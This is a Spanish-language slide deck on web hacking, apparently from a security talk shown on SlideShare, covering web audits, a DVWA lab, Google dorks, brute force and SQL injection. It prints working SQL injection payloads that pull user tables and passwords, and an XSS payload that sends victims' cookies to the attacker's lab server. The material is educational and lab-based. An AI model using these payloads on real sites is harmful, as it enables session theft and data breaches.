SlideShare una empresa de Scribd logo
IVÁN SANZ DE CASTRO
Hacking Web:
Attacks & Tips
Sobre mí
Iván Sanz de Castro
• Ingeniero de telecomunicaciones (UAH)
• Analista de seguridad (Wise Security)
• Investigador independiente
¿Página Web?
Visibilidad
Marketing
24 horas
Imagen
Venta Online
Servicios
Redes sociales
Bajo coste
Coste
76,6% de las empresas tienen página web según INE
Ataques informáticos:
– Fallos de seguridad
– Vulnerabilidades conocidas
– Fácil explotación
– Exposición de datos sensibles
Consecuencias:
– Impacto en la imagen corporativa
– Suplantación
– Robo de información
– Perdidas económicas
PSN & XBL
Ashley Madison
Consecuencias:
Surge la necesida de profesionales de la ciberseguridad:
• Auditoría web
• Test de intrusión
• Auditoría de app’s móviles
• Análisis forense
• Análisis de malware
• Etc.
Auditoría web
• ¿Es mi web segura?
• ¿Cómo lo arreglo?
Fases
1. Definición del alcance y objetivos
– Caja negra, gris o blanca
2. Ejecución de la revisión
3. Informe:
– Resumen ejecutivo
– Vulnerabilidades
– Salvaguardas
4. Seguimiento
Laboratorio de pruebas
Debian + DVWA: Aplicación Web,
entorno para probar ataques y
explotar vulnerabilidades
Kali Linux: Sistema operativo con
multitud de herramientas de
seguridad informática
192.169.233.128 192.169.233.129
Google Hacking
Comandos avanzados de Google
+
Contenidos sensibles indexados
Operadores (1)
Operador |
Operador +
Operador -
Operador *
Operador “ ”
[ cracker | hacker ]
[ hacker +en UAH ]
[ hacker -examen ]
[ internal * error ]
[ “default password” ]
OR
AND
NOT
Comodín
Comillas
Operadores (2)
• Inurl y Allinurl: Búsqueda de texto en la URL
• Intext y Allintext: Búsqueda en el texto de una página
• Site: Búsqueda en un sitio especifico
• Link: Búsqueda de páginas que enlazan a un sitio
• Filetype o ext: Búsqueda de ficheros de un tipo específico
Hacking Web: Attacks & Tips
Ejemplo (1)
inurl:salary inurl:confidential ext:pdf
inurl:/index.htm?cat=info printer Info
inurl:"default.php" intext:"website" "has been successfully
installed on the server!"
Fuerza bruta
aaaaaa
aaaaab
aaaaac
aaaaad
aaaaae
aaaaaf
aaaaag
aaaaah
aaaaai
aaaaaj
aaaaak
aaaaal
aaaaam
aaaaan
aaaaañ
aaaaao
aaaaap
aaaaaq
aaaaar
aaaaas
aaaaat
aaaaau
aaaaav
aaaaaw
aaaaax
aaaaay
aaaaaz
aaaaba
aaaabb
aaaabc
aaaabd
aaaabe
aaaabf
aaaabg
aaaabh
aaaabi
aaaabj
aaaabk
aaaabl
aaaabm
aaaabn
aaaabñ
aaaabo
aaaabp
aaaabq
aaaabr
aaaabs
aaaabt
aaaabu
…
Diccionario
123456
12345678
qwerty
abc123
contraseña
admin
password
monkey
starwars
princess
perro
iloveyou
111111
…
Ejemplo (2) · Burpsuite
• Suite de herramientas de auditoría web
• Proxy local que permite “manipular” peticiones
¿Inyección? (1)
print ‘$variable’;
$variable = ¡Hola mundo!
print ‘¡Hola mundo!’;
>> ¡Hola mundo!
¿Inyección? (2)
print ‘$variable’;
$variable = ‘; shutdocwn(); //
print ‘‘; shutdown(); //’;
>> print ‘‘; shutdown(); //’;
SQL Injection (1)
Consulta a BD:
select id
from user_table
where Username = '$user'
and Password = '$pass';
SQL Injection (2)
$user = admin
$pass = ‘ or ‘1’ = ‘1’; --
select id
from user_table
where Username = 'admin'
and Password = ‘’ or ‘1’ = ‘1’; -- ';
select id
from user_table
where Username = 'admin'
and Password = ‘’ or ‘1’ = ‘1’; -- ';
Ejemplo (3)
• %' or '0'='0
• %' union select null, version()#
Ejecutar funciones, ej: version()
• %' union select null, table_name from
information_schema.tables #
Tablas disponibles
• %' union select null, concat(first_name,0x0a,
last_name,0x0a,user,0x0a,password) from users #
Profit
• %' union select null, concat(table_name,0x0a,
column_name) from information_schema.columns
where table_name = 'users' #
Columnas de la table users
Error-based SQL Injection
… and ‘1’=(select username from users where uid=1)
Resultado:
[ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ‘admin’ to a column of data type int.
Blind SQL Injection
No se muestran errores, ¿sigue siendo posible inyectar?
SI
Web que diferencie entre “true” y “false” al realizar la
inyección
www.dominio.php?id=5 and 1=1
→ Siempre TRUE
www.dominio.php?id=5 and 1=0
→ Siempre FALSE
Ejemplo (4)
www.dominio.com/info.php?id=5
and (ascii(substr((SELECT version()),1,1))) > 52
Cross-Site Scripting (XSS)
• Inyección de código
en la página web:
Javascript, HTML, …
• El navegador de la
victima lo interpreta
como legítimo
Ejemplo(5)
XSS Persistente:
• El código se inyecta y queda “almacenado” en la web.
• Cada vez que un usuario accede al recurso, el código se
ejecuta
Ejemplo(6)
XSS Reflejado:
• El código se inyecta en los valores que se envían a la web
• <script>new Image().src='http://192.168.233.129/log.php?c='
+document.cookie</script>
Cross-Frame Scripting (CFS)
• Incluir el contenido de la web en un frame, dentro
de un dominio ajeno
• Cabecera HTTP X-Frame-Options sin atributo deny
• Ataques sobre usuarios:
– Clickjacking, Keylogger, redirecciones, etc.
Hacking Web: Attacks & Tips
Ejemplo (7)
• “CFS – Redirección” → Redirigir al hacer click a web arbitraria
• “CFS – Keylogger” → Capturar y enviar a servidor remoto el
texto introducido por teclado
Y mucho, mucho más…
Muchas gracias
Iván Sanz de Castro
ivan.sanz.dcastro@gmail.com
@junglesec

Más contenido relacionado

PPTX
Owasp top 10 2017
PDF
Webinar Gratuito: Cross-Site Scripting (XSS)
PDF
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
PPT
Racciatti Html Scripting Attacks
ODP
Seguridad de Aplicaciones Web
PPTX
Seguridad en los sistemas web
ODP
Seguridad en aplicaciones web
PDF
Web App Security, Ethical hacking for CodeCamp SDQ 5
Owasp top 10 2017
Webinar Gratuito: Cross-Site Scripting (XSS)
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Racciatti Html Scripting Attacks
Seguridad de Aplicaciones Web
Seguridad en los sistemas web
Seguridad en aplicaciones web
Web App Security, Ethical hacking for CodeCamp SDQ 5

La actualidad más candente (7)

PDF
Seguridad en el desarrollo de aplicaciones web
PPTX
Seguridad web
PDF
Mitigando Eventualidades de Seguridad en Web 2.0 + Semántica
PPT
Vulnerabilidades en Aplicaciones Web PHP
PDF
Seguridad web
PPTX
Resumen curso de seguridad para desarrolladores de aplicaciones web y móviles...
PDF
Seguridad WEB - Principios básicos.
Seguridad en el desarrollo de aplicaciones web
Seguridad web
Mitigando Eventualidades de Seguridad en Web 2.0 + Semántica
Vulnerabilidades en Aplicaciones Web PHP
Seguridad web
Resumen curso de seguridad para desarrolladores de aplicaciones web y móviles...
Seguridad WEB - Principios básicos.

Destacado (20)

PPTX
Lesson 6 web based attacks
PPTX
Anatomy Web Attack
PPT
Web attacks
PPTX
Web Application Vulnerabilities
PDF
Behind The Scenes Of Web Attacks
PPT
Web Attacks - Top threats - 2010
PDF
Top Ten Web Attacks
PPT
Trends in Web Attacks
PPTX
Presentation on Web Attacks
PPTX
Barack obama
TXT
TXT
PPTX
role model entrepreneur
PPT
Avon product analysis 2009
PPTX
Soho routers: swords and shields CyberCamp 2015
DOCX
Zero interest consumer goods purchase schemes
PPTX
что это с точки зрения бухгалтеского учёта
PPTX
CV Workshop - IDinLondon - 11th November 2014, Adam Bolton.
Lesson 6 web based attacks
Anatomy Web Attack
Web attacks
Web Application Vulnerabilities
Behind The Scenes Of Web Attacks
Web Attacks - Top threats - 2010
Top Ten Web Attacks
Trends in Web Attacks
Presentation on Web Attacks
Barack obama
role model entrepreneur
Avon product analysis 2009
Soho routers: swords and shields CyberCamp 2015
Zero interest consumer goods purchase schemes
что это с точки зрения бухгалтеского учёта
CV Workshop - IDinLondon - 11th November 2014, Adam Bolton.

Similar a Hacking Web: Attacks & Tips (20)

PPT
Taller cybersecurity 2016
PPTX
Seguridad web, ataque y defensa
PDF
Inyección, XSS, CSRF en ChelaJS
PDF
Vulnerabilidades en Aplicaciones Web
PDF
Pentest - El Arte de la Guerra
PDF
Seguridad Web XSS y BeEF
PDF
Ataques de denegacion de servicio
PDF
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
PDF
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
PDF
Hack & beers lleida seguridad en desarrollo fullstack
PDF
Seguridad en los videojuegos - GoD Mode
ODP
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
PPTX
Desarrollo Web Seguro - Seguridad en Programación
PPTX
Cer tuy capacitaciones2011_v1
PPTX
Inyecciones sql para aprendices
PDF
Taller Hacking Ético #Sysmana2012
PDF
Completo conferencia seguridad_web_software_libre_2015
PPTX
Azure insight + Streaming Analytics + Power BI
PPTX
ciberataques
PDF
Atacando servicios web
Taller cybersecurity 2016
Seguridad web, ataque y defensa
Inyección, XSS, CSRF en ChelaJS
Vulnerabilidades en Aplicaciones Web
Pentest - El Arte de la Guerra
Seguridad Web XSS y BeEF
Ataques de denegacion de servicio
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
Hack & beers lleida seguridad en desarrollo fullstack
Seguridad en los videojuegos - GoD Mode
Resumen curso de seguridad para desarrolladores de aplicaciones web, webservi...
Desarrollo Web Seguro - Seguridad en Programación
Cer tuy capacitaciones2011_v1
Inyecciones sql para aprendices
Taller Hacking Ético #Sysmana2012
Completo conferencia seguridad_web_software_libre_2015
Azure insight + Streaming Analytics + Power BI
ciberataques
Atacando servicios web

Último (11)

PPTX
tema-2-interes-.pptx44444444444444444444
PDF
[Ebook gratuito] Introducción a la IA Generativa, Instalación y Configuración...
PDF
Mesopotamia y Egipto.pptx.pdf historia universal
PPTX
Guia de power bi de cero a avanzado detallado
PPTX
FUNCIONES DE CLASSROOM EN EL FUNCIONAMIENTO ESCOLAR
PDF
Frases de Fidel Castro. Compilación Norelys Morales Aguilera
PPTX
Presentación de un estudio de empresa pp
PPT
laser seguridad a la salud humana de piel y vision en laser clase 4
PDF
CAPACITACIÓN MIPIG - MODELO INTEGRADO DE PLANEACIÓN Y GESTIÓN
PPTX
presentacion_energias_renovables_renovable_.pptx
PDF
Herramientaa de google google keep, maps.pdf
tema-2-interes-.pptx44444444444444444444
[Ebook gratuito] Introducción a la IA Generativa, Instalación y Configuración...
Mesopotamia y Egipto.pptx.pdf historia universal
Guia de power bi de cero a avanzado detallado
FUNCIONES DE CLASSROOM EN EL FUNCIONAMIENTO ESCOLAR
Frases de Fidel Castro. Compilación Norelys Morales Aguilera
Presentación de un estudio de empresa pp
laser seguridad a la salud humana de piel y vision en laser clase 4
CAPACITACIÓN MIPIG - MODELO INTEGRADO DE PLANEACIÓN Y GESTIÓN
presentacion_energias_renovables_renovable_.pptx
Herramientaa de google google keep, maps.pdf

Hacking Web: Attacks & Tips